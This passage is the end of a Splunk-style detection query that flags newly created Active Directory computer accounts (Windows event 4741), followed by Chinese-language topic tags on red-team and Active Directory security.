EventCode=4741 | table _time, SubjectUserName, NewAccountName, ComputerName | where match(NewAccountName, "\$") ```
标签:Active Directory, CTI, HTTP, Plaso, TGT, 协议分析, 后渗透, 攻防演练, 数据展示, 权限提升, 红队, 网络安全, 隐私保护